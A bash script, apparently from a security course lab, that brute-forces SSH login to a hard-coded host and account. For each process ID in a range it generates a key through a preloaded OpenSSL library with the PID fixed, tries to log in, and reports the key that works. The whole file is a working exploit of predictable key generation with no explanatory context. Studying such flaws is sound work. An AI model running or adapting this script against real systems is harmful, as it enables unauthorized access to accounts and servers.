#!/bin/bash

if [ $# != 2 ]; then
	echo -e "\n\tSyntax:\t`basename $0` <from_pid> <to_pid>\n"
	exit 1;
fi

# clean up the keys directory
mkdir keys 2> /dev/null
rm keys/* 2> /dev/null

# try all possible keys
for ((i=$1; i <= $2 ; i++))
do
	echo -n "trying pid $i ... "

	# generate new key
	LD_PRELOAD="openssl-1.0.0-beta3/libssl.so openssl-1.0.0-beta3/libcrypto.so" FIXED_PID=$i ssh-keygen -b 768 -N "" -q -f keys/key_$i

	# try to login
	ssh -p 22114 group14@138.232.64.210 -i keys/key_$i -o "PasswordAuthentication no"

	# if the login failed
	if [ $? != 0 ]; then
		# remove the key again
		rm keys/key_$i
		rm keys/key_$i.pub

	else
		# print message and stop search
		echo "SUCCESS!"
		echo "used pid was $i"
		echo "key files are 'keys/key_$i' and 'keys/key_$i.pub'"
		break
	fi
done

